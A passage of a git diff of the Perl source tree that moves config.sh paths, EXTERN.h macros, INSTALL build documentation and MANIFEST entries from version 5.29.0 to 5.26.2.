@@ i_time='define' i_unistd='define' i_ustat='define' i_utime='define' +i_values='define' +i_varargs='undef' +i_varhdr='stdarg.h' i_vfork='undef' -i_wchar='undef' -i_xlocale='undef' ignore_versioned_solibs='y' inc_version_list=' ' inc_version_list_init='0' incpath='' inews='' -installarchlib='./install_me_here/usr/lib/perl5/5.29.0/armv4l-linux' +installarchlib='./install_me_here/usr/lib/perl5/5.26.2/armv4l-linux' installbin='./install_me_here/usr/bin' installhtml1dir='' installhtml3dir='' @@ -824,13 +707,13 @@ installman1dir='./install_me_here/usr/share/man/man1' installman3dir='./install_me_here/usr/share/man/man3' installprefix='./install_me_here/usr' installprefixexp='./install_me_here/usr' -installprivlib='./install_me_here/usr/lib/perl5/5.29.0' +installprivlib='./install_me_here/usr/lib/perl5/5.26.2' installscript='./install_me_here/usr/bin' -installsitearch='./install_me_here/usr/lib/perl5/site_perl/5.29.0/armv4l-linux' +installsitearch='./install_me_here/usr/lib/perl5/site_perl/5.26.2/armv4l-linux' installsitebin='./install_me_here/usr/bin' installsitehtml1dir='' installsitehtml3dir='' -installsitelib='./install_me_here/usr/lib/perl5/site_perl/5.29.0' +installsitelib='./install_me_here/usr/lib/perl5/site_perl/5.26.2' installsiteman1dir='./install_me_here/usr/share/man/man1' installsiteman3dir='./install_me_here/usr/share/man/man3' installsitescript='./install_me_here/usr/bin' @@ -876,10 +759,6 @@ lns='/bin/ln -s' localtime_r_proto='0' locincpth='/usr/local/include /opt/local/include /usr/gnu/include /opt/gnu/include /usr/GNU/include /opt/GNU/include' loclibpth='/usr/local/lib /opt/local/lib /usr/gnu/lib /opt/gnu/lib /usr/GNU/lib /opt/GNU/lib' -longdblinfbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00' -longdblkind='0' -longdblmantbits='64' -longdblnanbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00' longdblsize='8' longlongsize='8' longsize='4' @@ -928,12 +807,11 @@ nroff='nroff' nvEUformat='"E"' nvFUformat='"F"' nvGUformat='"G"' -nv_overflows_integers_at='256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0' nv_preserves_uv_bits='32' +nv_overflows_integers_at='256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0' nveformat='"e"' nvfformat='"f"' nvgformat='"g"' -nvmantbits='52' nvsize='8' nvtype='double' o_nonblock='O_NONBLOCK' @@ -952,7 +830,6 @@ path_sep=':' perl5='/usr/bin/perl' perl='' perl_patchlevel='' -perl_static_inline='static' perladmin='red@criticalintegration.com' perllibs='-lnsl -ldl -lm -lcrypt -lutil -lc' perlpath='/usr/bin/perl' @@ -964,8 +841,8 @@ pmake='' pr='' prefix='/usr' prefixexp='/usr' -privlib='/usr/lib/perl5/5.29.0' -privlibexp='/usr/lib/perl5/5.29.0' +privlib='/usr/lib/perl5/5.26.2' +privlibexp='/usr/lib/perl5/5.26.2' procselfexe='"/proc/self/exe"' prototype='define' ptrsize='4' @@ -984,10 +861,6 @@ rm='rm' rmail='' run='' runnm='false' -sGMTIME_max='2147483647' -sGMTIME_min='0' -sLOCALTIME_max='2147483647' -sLOCALTIME_min='0' sPRIEUldbl='"E"' sPRIFUldbl='"F"' sPRIGUldbl='"G"' @@ -1030,17 +903,17 @@ sig_num='0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 sig_num_init='0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 6, 17, 29, 31, 0' sig_size='68' signal_t='void' -sitearch='/usr/lib/perl5/site_perl/5.29.0/armv4l-linux' -sitearchexp='/usr/lib/perl5/site_perl/5.29.0/armv4l-linux' +sitearch='/usr/lib/perl5/site_perl/5.26.2/armv4l-linux' +sitearchexp='/usr/lib/perl5/site_perl/5.26.2/armv4l-linux' sitebin='/usr/bin' sitebinexp='/usr/bin' sitehtml1dir='' sitehtml1direxp='' sitehtml3dir='' sitehtml3direxp='' -sitelib='/usr/lib/perl5/site_perl/5.29.0' +sitelib='/usr/lib/perl5/site_perl/5.26.2' sitelib_stem='/usr/lib/perl5/site_perl' -sitelibexp='/usr/lib/perl5/site_perl/5.29.0' +sitelibexp='/usr/lib/perl5/site_perl/5.26.2' siteman1dir='/usr/share/man/man1' siteman1direxp='/usr/share/man/man1' siteman3dir='/usr/share/man/man3' @@ -1064,8 +937,6 @@ srand48_r_proto='0' srandom_r_proto='0' src='.' ssizetype='ssize_t' -st_ino_sign='1' -st_ino_size='4' startperl='#!/usr/bin/perl' startsh='#!/bin/sh' static_ext='DynaLoader ' @@ -1079,12 +950,11 @@ stdio_stream_array='' strerror_r_proto='0' strings='/usr/include/string.h' submit='' -subversion='0' +subversion='2' sysman='/usr/share/man/man1' tail='' tar='' targetarch='' -targetsh='/bin/sh' tbl='' tee='' test='test' @@ -1115,14 +985,11 @@ uquadtype='unsigned long long' use5005threads='undef' use64bitall='undef' use64bitint='undef' -usecbacktrace='undef' usecrosscompile='undef' -usedevel='undef' usedl='define' usedtrace='undef' usefaststdio='define' useithreads='undef' -usekernprocpathname='undef' uselargefiles='define' uselongdouble='undef' usemallocwrap='define' @@ -1130,11 +997,9 @@ usemorebits='undef' usemultiplicity='undef' usemymalloc='n' usenm='false' -usensgetexecutablepath='undef' useopcode='true' useperlio='define' useposix='true' -usequadmath='undef' usereentrant='undef' userelocatableinc='undef' useshrplib='true' @@ -1170,8 +1035,8 @@ vendorprefix='' vendorprefixexp='' vendorscript='' vendorscriptexp='' -version='5.29.0' -version_patchlevel_string='version 29 subversion 0' +version='5.26.2' +version_patchlevel_string='version 26 subversion 2' versiononly='undef' vi='' xlibpth='/usr/lib/386 /lib/386' @@ -1184,10 +1049,10 @@ config_arg0='Configure' config_args='' config_argc=0 PERL_REVISION=5 -PERL_VERSION=29 -PERL_SUBVERSION=0 +PERL_VERSION=26 +PERL_SUBVERSION=2 PERL_API_REVISION=5 -PERL_API_VERSION=29 +PERL_API_VERSION=26 PERL_API_SUBVERSION=0 PERL_PATCHLEVEL= PERL_CONFIG_SH=true diff --git a/EXTERN.h b/EXTERN.h index b8c4512d37ca..db8db2b24f07 100644 --- a/EXTERN.h +++ b/EXTERN.h @@ -26,16 +26,18 @@ # define dEXT # define EXTCONST extern const # define dEXTCONST const -# elif defined(PERLDLL) || defined(__SYMBIAN32__) -# define EXT EXTERN_C __declspec(dllexport) -# define dEXT -# define EXTCONST EXTERN_C __declspec(dllexport) const -# define dEXTCONST const # else -# define EXT EXTERN_C __declspec(dllimport) -# define dEXT -# define EXTCONST EXTERN_C __declspec(dllimport) const -# define dEXTCONST const +# if defined(PERLDLL) || defined(__SYMBIAN32__) +# define EXT EXTERN_C __declspec(dllexport) +# define dEXT +# define EXTCONST EXTERN_C __declspec(dllexport) const +# define dEXTCONST const +# else +# define EXT EXTERN_C __declspec(dllimport) +# define dEXT +# define EXTCONST EXTERN_C __declspec(dllimport) const +# define dEXTCONST const +# endif # endif # else # if defined(__CYGWIN__) && defined(USEIMPORTLIB) diff --git a/INSTALL b/INSTALL index d7ff8d8fa58f..0544b420caec 100644 --- a/INSTALL +++ b/INSTALL @@ -366,79 +366,58 @@ symbols during configure. An example might be: B -Since Perl 5.18 we have included support for multiple hash functions, -although from time to time we change which functions we support, -and which function is default (currently SBOX+STADTX on 64 bit builds -and SBOX+ZAPHOD32 for 32 bit builds). You can choose a different -algorithm by defining one of the following symbols during configure. -Note that there security implications of which hash function you choose -to use. The functions are listed roughly by how secure they are believed -to be, with the one believed to be most secure at release time being PERL_HASH_FUNC_SIPHASH. +Perl 5.18 includes support for multiple hash functions, and changed +the default (to ONE_AT_A_TIME_HARD), you can choose a different +algorithm by defining one of the following symbols. Note that as of +Perl 5.18 we can only recommend use of the default or SIPHASH. All +the others are known to have security issues and are for research +purposes only. PERL_HASH_FUNC_SIPHASH - PERL_HASH_FUNC_SIPHASH13 - PERL_HASH_FUNC_ZAPHOD32 - PERL_HASH_FUNC_STADTX - -In addition, these, (or custom hash functions), may be "fronted" by the -SBOX32 hash function for keys under a chosen size. This hash function is -special in that it has proven theoretical security properties, and is very -fast to hash, but which by nature is restricted to a maximum key length, -and which has rather expensive setup costs (relatively speaking), both in -terms of performance and more importantly in terms of memory. SBOX32 -requires 1k of storage per character it can hash, and it must populate that -storage with 256 32-bit random values as well. In practice the RNG we use -for seeding the SBOX32 storage is very efficient and populating the table -required for hashing even fairly long keys is negligble as we only do it -during startup. By default we build with SBOX32 enabled, but you change that -by setting - - PERL_HASH_USE_SBOX32_ALSO - -to zero in configure. By default Perl will use SBOX32 to hash strings 24 bytes -or shorter, you can change this length by setting - - SBOX32_MAX_LEN - -to the desired length, with the maximum length being 256. - -As of Perl 5.18 the order returned by keys(), values(), and each() is -non-deterministic and distinct per hash, and the insert order for -colliding keys is randomized as well, and perl allows for controlling this -by the PERL_PERTURB_KEYS environment setting. You can disable this behavior -entirely with the define + PERL_HASH_FUNC_SDBM + PERL_HASH_FUNC_DJB2 + PERL_HASH_FUNC_SUPERFAST + PERL_HASH_FUNC_MURMUR3 + PERL_HASH_FUNC_ONE_AT_A_TIME + PERL_HASH_FUNC_ONE_AT_A_TIME_HARD + PERL_HASH_FUNC_ONE_AT_A_TIME_OLD + +Perl 5.18 randomizes the order returned by keys(), values(), and each(), +and allows controlling this behavior by using of the PERL_PERTURB_KEYS +option. You can disable this option entirely with the define: PERL_PERTURB_KEYS_DISABLED -You can disable the environment variable checks and compile time specify -the type of key traversal randomization to be used by defining one of these: +You can disable the environment variable checks and specify the type of +key traversal randomization to be used by defining one of these: PERL_PERTURB_KEYS_RANDOM PERL_PERTURB_KEYS_DETERMINISTIC -Since Perl 5.18 the seed used for the hash function is randomly selected -at process start, which can be overridden by specifying a seed by setting +In Perl 5.18 the seed used for the hash function is randomly selected +at process start which can be overridden by specifying a seed by setting the PERL_HASH_SEED environment variable. -You can change this behavior so that your perl is built with a hard coded -seed with the define +You can change this behavior by building perl with the + + USE_HASH_SEED_EXPLICIT + +define, in which case one has to explicitly set the PERL_HASH_SEED +environment variable to enable the security feature or by adding NO_HASH_SEED -Note that if you do this you should modify the code in hv_func.h to specify -your own key. In the future this define may be renamed and replaced with one -that requires you to specify the key to use. +to the compilation flags to completely disable the randomisation feature. +Note these modes are poorly tested, insecure and not recommended. -B, and the +B, and the ordering has already changed several times during the lifetime of Perl 5. Also, the ordering of hash keys has always been, and continues to -be, affected by the insertion order regardless of whether you build with -or without the randomization features. Note that because of this -and especially with randomization that the key order of a hash is *undefined* -and that things like Data::Dumper, for example, may produce different output -between different runs of Perl, since Data::Dumper serializes the key in the -native order for the hash. The use of the Data::Dumper C option is -recommended if you are comparing dumps between different invocations of perl. +be, affected by the insertion order. Note that because of this +randomisation for example the Data::Dumper results will be different +between different runs of Perl, since Data::Dumper by default dumps +hashes "unordered". The use of the Data::Dumper C option is +recommended. See L and L for details on the environment variables, and L below). +See also the L<"vsprintf"> item below. + +=item util.c + +If you get error messages such as the following (the exact line +numbers and function name may vary in different versions of perl): + + util.c: In function 'Perl_form': + util.c:1107: number of arguments doesn't match prototype + proto.h:125: prototype declaration + +it might well be a symptom of the gcc "varargs problem". See the +previous L<"varargs"> item. + =item LD_LIBRARY_PATH If you run into dynamic loading problems, check your setting of @@ -1564,6 +1561,20 @@ Check your config.sh. You should have d_umask='define'. If you don't, this is probably the L<"nm extraction"> problem discussed above. Also, try reading the hints file for your system for further information. +=item vsprintf + +If you run into problems with vsprintf in compiling util.c, the +problem is probably that Configure failed to detect your system's +version of vsprintf(). Check whether your system has vprintf(). +(Virtually all modern Unix systems do.) Then, check the variable +d_vprintf in config.sh. If your system has vprintf, it should be: + + d_vprintf='define' + +If Configure guessed wrong, it is likely that Configure guessed wrong +on a number of other common functions too. This is probably +the L<"nm extraction"> problem discussed above. + =item do_aspawn If you run into problems relating to do_aspawn or do_spawn, the @@ -2440,7 +2451,8 @@ http://www.chiark.greenend.org.uk/~sgtatham/bugs.html =head1 Coexistence with earlier versions of perl 5 -Perl 5.29.0 is not binary compatible with earlier versions of Perl. +Perl 5.26.2 is not binary compatible with versions of Perl earlier than +5.26.0. In other words, you will have to recompile your XS modules. In general, you can usually safely upgrade from one version of Perl @@ -2515,9 +2527,9 @@ won't interfere with another version. (The defaults guarantee this for libraries after 5.6.0, but not for executables. TODO?) One convenient way to do this is by using a separate prefix for each version, such as - sh Configure -Dprefix=/opt/perl5.29.0 + sh Configure -Dprefix=/opt/perl5.26.2 -and adding /opt/perl5.29.0/bin to the shell PATH variable. Such users +and adding /opt/perl5.26.2/bin to the shell PATH variable. Such users may also wish to add a symbolic link /usr/local/bin/perl so that scripts can still start with #!/usr/local/bin/perl. @@ -2530,13 +2542,13 @@ seriously consider using a separate directory, since development subversions may not have all the compatibility wrinkles ironed out yet. -=head2 Upgrading from 5.28.0 or earlier +=head2 Upgrading from 5.25.12 or earlier -B Perl modules having binary parts (meaning that a C compiler is used) will have to be recompiled to be -used with 5.29.0. If you find you do need to rebuild an extension with -5.29.0, you may safely do so without disturbing the older +used with 5.26.2. If you find you do need to rebuild an extension with +5.26.2, you may safely do so without disturbing the older installations. (See L<"Coexistence with earlier versions of perl 5"> above.) @@ -2569,15 +2581,15 @@ Firstly, the bare minimum to run this script print("$f\n"); } -in Linux with perl-5.29.0 is as follows (under $Config{prefix}): +in Linux with perl-5.26.2 is as follows (under $Config{prefix}): ./bin/perl - ./lib/perl5/5.29.0/strict.pm - ./lib/perl5/5.29.0/warnings.pm - ./lib/perl5/5.29.0/i686-linux/File/Glob.pm - ./lib/perl5/5.29.0/feature.pm - ./lib/perl5/5.29.0/XSLoader.pm - ./lib/perl5/5.29.0/i686-linux/auto/File/Glob/Glob.so + ./lib/perl5/5.26.2/strict.pm + ./lib/perl5/5.26.2/warnings.pm + ./lib/perl5/5.26.2/i686-linux/File/Glob.pm + ./lib/perl5/5.26.2/feature.pm + ./lib/perl5/5.26.2/XSLoader.pm + ./lib/perl5/5.26.2/i686-linux/auto/File/Glob/Glob.so Secondly, for perl-5.10.1, the Debian perl-base package contains 591 files, (of which 510 are for lib/unicore) totaling about 3.5MB in its @@ -2689,12 +2701,6 @@ F will not be compiled in. Those functions are no longer used by perl itself; for source compatibility reasons, though, they weren't completely removed. -=head2 C<-DNO_PERL_INTERNAL_RAND_SEED> -X - -If you configure perl with C<-Accflags=-DNO_PERL_INTERNAL_RAND_SEED>, -perl will ignore the C enviroment variable. - =head1 DOCUMENTATION Read the manual entries before running perl. The main documentation @@ -2718,5 +2724,4 @@ This document is part of the Perl package and may be distributed under the same terms as perl itself, with the following additional request: If you are distributing a modified version of perl (perhaps as part of a larger package) please B modify these installation instructions -and the contact information to match your distribution. Additional -information for packagers is in F. +and the contact information to match your distribution. diff --git a/MANIFEST b/MANIFEST index fcf3455b2e74..e102bf92776b 100644 --- a/MANIFEST +++ b/MANIFEST @@ -1,6 +1,4 @@ .dir-locals.el Emacs control file -.metaconf-exclusions.txt Symbols that should ignored when generating Configure -.travis.yml continuous integration on github (where enabled) amigaos4/amigaio.c AmigaOS4 port amigaos4/amigaio.h AmigaOS4 port amigaos4/amigaos.c AmigaOS4 port @@ -244,8 +242,6 @@ cpan/Config-Perl-V/t/28_plv52201w.t Config::Perl::V cpan/Config-Perl-V/t/29_plv5235w.t Config::Perl::V cpan/Config-Perl-V/t/30_plv5240.t Config::Perl::V cpan/Config-Perl-V/t/31_plv52511.t Config::Perl::V -cpan/Config-Perl-V/t/32_plv5261rc1.t Config::Perl::V -cpan/Config-Perl-V/t/33_plv52711r.t Config::Perl::V cpan/Config-Perl-V/V.pm Config::Perl::V cpan/CPAN/lib/App/Cpan.pm helper package for CPAN.pm cpan/CPAN/lib/CPAN.pm Interface to Comprehensive Perl Archive Network @@ -464,6 +460,374 @@ cpan/DB_File/t/db-hash.t See if DB_File works cpan/DB_File/t/db-recno.t See if DB_File works cpan/DB_File/typemap Berkeley DB extension interface types cpan/DB_File/version.c Berkeley DB extension interface version check +cpan/Devel-PPPort/apicheck_c.PL Devel::PPPort apicheck generator +cpan/Devel-PPPort/devel/buildperl.pl Devel::PPPort perl version builder +cpan/Devel-PPPort/devel/devtools.pl Devel::PPPort development utilities +cpan/Devel-PPPort/devel/mkapidoc.sh Devel::PPPort apidoc collector +cpan/Devel-PPPort/devel/mktodo Devel::PPPort baseline/todo generator +cpan/Devel-PPPort/devel/mktodo.pl Devel::PPPort baseline/todo generator +cpan/Devel-PPPort/devel/regenerate Devel::PPPort API re-generator +cpan/Devel-PPPort/devel/scanprov Devel::PPPort provided API scanner +cpan/Devel-PPPort/HACKERS Devel::PPPort hackers documentation +cpan/Devel-PPPort/Makefile.PL Devel::PPPort makefile writer +cpan/Devel-PPPort/mktests.PL Devel::PPPort test file writer +cpan/Devel-PPPort/module2.c Devel::PPPort test file +cpan/Devel-PPPort/module3.c Devel::PPPort test file +cpan/Devel-PPPort/parts/apicheck.pl Devel::PPPort apicheck generator +cpan/Devel-PPPort/parts/apidoc.fnc Devel::PPPort Perl API listing +cpan/Devel-PPPort/parts/base/5003070 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5004000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5004010 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5004020 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5004030 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5004040 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5004050 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5005000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5005010 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5005020 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5005030 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5005040 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5006000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5006001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5006002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5007000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5007001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5007002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5007003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5008000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5008001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5008002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5008003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5008004 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5008005 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5008006 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5008007 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5008008 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5008009 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5009000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5009001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5009002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5009003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5009004 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5009005 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5010000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5010001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5011000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5011001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5011002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5011003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5011004 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5011005 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5012000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5012001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5012002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5012003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5012004 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5012005 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5013000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5013001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5013002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5013003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5013004 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5013005 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5013006 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5013007 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5013008 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5013009 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5013010 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5013011 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5014000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5014001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5014002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5014003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5014004 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5015000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5015001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5015002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5015003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5015004 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5015005 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5015006 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5015007 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5015008 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5015009 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5016000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5016001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5016002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5016003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5017000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5017001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5017002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5017003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5017004 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5017005 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5017006 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5017007 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5017008 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5017009 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5017010 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5017011 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5018000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5018001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5018002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5018003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5018004 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5019000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5019001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5019002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5019003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5019004 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5019005 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5019006 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5019007 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5019008 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5019009 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5019010 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5019011 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5020000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5020001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5020002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5020003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5021000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5021001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5021002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5021004 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5021005 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5021006 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5021007 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5021008 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5021009 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5021010 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5021011 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5022000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5022001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5023000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5023001 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5023002 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5023003 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5023004 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5023005 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5023006 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5023007 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5023008 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5023009 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/base/5024000 Devel::PPPort baseline todo file +cpan/Devel-PPPort/parts/embed.fnc Devel::PPPort Perl API listing +cpan/Devel-PPPort/parts/inc/call Devel::PPPort include +cpan/Devel-PPPort/parts/inc/cop Devel::PPPort include +cpan/Devel-PPPort/parts/inc/exception Devel::PPPort include +cpan/Devel-PPPort/parts/inc/format Devel::PPPort include +cpan/Devel-PPPort/parts/inc/grok Devel::PPPort include +cpan/Devel-PPPort/parts/inc/gv Devel::PPPort include +cpan/Devel-PPPort/parts/inc/HvNAME Devel::PPPort include +cpan/Devel-PPPort/parts/inc/limits Devel::PPPort include +cpan/Devel-PPPort/parts/inc/magic Devel::PPPort include +cpan/Devel-PPPort/parts/inc/memory Devel::PPPort include +cpan/Devel-PPPort/parts/inc/misc Devel::PPPort include +cpan/Devel-PPPort/parts/inc/mPUSH Devel::PPPort include +cpan/Devel-PPPort/parts/inc/MY_CXT Devel::PPPort include +cpan/Devel-PPPort/parts/inc/newCONSTSUB Devel::PPPort include +cpan/Devel-PPPort/parts/inc/newRV Devel::PPPort include +cpan/Devel-PPPort/parts/inc/newSV_type Devel::PPPort include +cpan/Devel-PPPort/parts/inc/newSVpv Devel::PPPort include +cpan/Devel-PPPort/parts/inc/podtest Devel::PPPort include +cpan/Devel-PPPort/parts/inc/ppphbin Devel::PPPort include +cpan/Devel-PPPort/parts/inc/ppphdoc Devel::PPPort include +cpan/Devel-PPPort/parts/inc/ppphtest Devel::PPPort include +cpan/Devel-PPPort/parts/inc/pv_tools Devel::PPPort include +cpan/Devel-PPPort/parts/inc/pvs Devel::PPPort include +cpan/Devel-PPPort/parts/inc/shared_pv Devel::PPPort include +cpan/Devel-PPPort/parts/inc/snprintf Devel::PPPort include +cpan/Devel-PPPort/parts/inc/sprintf Devel::PPPort include +cpan/Devel-PPPort/parts/inc/strlfuncs Devel::PPPort include +cpan/Devel-PPPort/parts/inc/Sv_set Devel::PPPort include +cpan/Devel-PPPort/parts/inc/sv_xpvf Devel::PPPort include +cpan/Devel-PPPort/parts/inc/SvPV Devel::PPPort include +cpan/Devel-PPPort/parts/inc/SvREFCNT Devel::PPPort include 